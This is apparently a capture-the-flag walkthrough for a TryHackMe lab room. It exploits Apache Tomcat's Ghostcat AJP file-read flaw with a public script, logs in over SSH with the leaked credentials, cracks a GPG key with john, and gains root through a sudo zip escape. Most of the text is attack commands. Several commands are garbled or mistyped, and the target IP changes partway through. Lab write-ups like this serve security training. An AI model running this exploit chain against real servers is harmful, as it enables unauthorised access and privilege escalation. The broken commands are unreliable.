Solving the Tomghost on TryHackMe

Login to tryhackme.com and join the room "Tomghost" Collect the target machine information and download the OpenVPN configuration.

Target IP: 10.10.192.140

Config File: sofia.ovpn

Run the Kali machine VM, install OpenVPN if that's not already installed. Run OpenVPN as below

 # openvpn sofia.ovpn

Scan with nmap to discover open ports on target

 # nmap -sT -sV -O -A 10.10.192.140

Ports	State	Service	Version
8009/tcp	open	ajp13	Apache Tomcat 9.0.30

Clone ghostcat_CNVD_2020_10487 from GitHub

 # git clone https://github.com/cotheway/ghostcat_CNVD_2020_10487.git

Navigate to the "ghostcat_CNVD_2020_10487" and run:

 # python ajpshooter.py http://10.10.192.142:8009/WEB-INF/web.xml read

Or, # python ajpshooter.py http://10.10.192.142 8009/WEB-INF/web.xml read

Output:

[<][200 200]

<description>

Welcome to Ghostcat

Skyhack: 8730281IKL

<description>

Connect to the target via SSH

 # ssh skyhack@10.10.192.142

$ skyhack@ . $ ls

Credential.pgp tryhackme.ase

$ Cd ..

$ ls

$ cd merlin [merlin skyhack]

$ cat user.txt

Navigate to Ghostcat homepage and submit this in Flag.

On Local Machine

> scp skyhack@10.10.192.142:/home/skyhack/* /home/kali/Documents

> gpg --import tryhackme.ase

> gpg2jhon tryhackme.ase > hash

> john –format = gpg –wordlist = user/share/wordlists/rockyou.txt /hash

> gpg --decrypt credintial.gpg [merlin : asyus do.....2sj]

On remote

> su meplin

> Password

meplina > $ TF = $(mktemp -u)
meplina > $ sudo zip TF /etc/hosts -T -T

"sh #"

 # whoami

root

 # cd /root

 # ls

root.txt ufw

 # cat root.txt

THM (zip_is_fake)

Navigate to ghost cat home page and submit the page.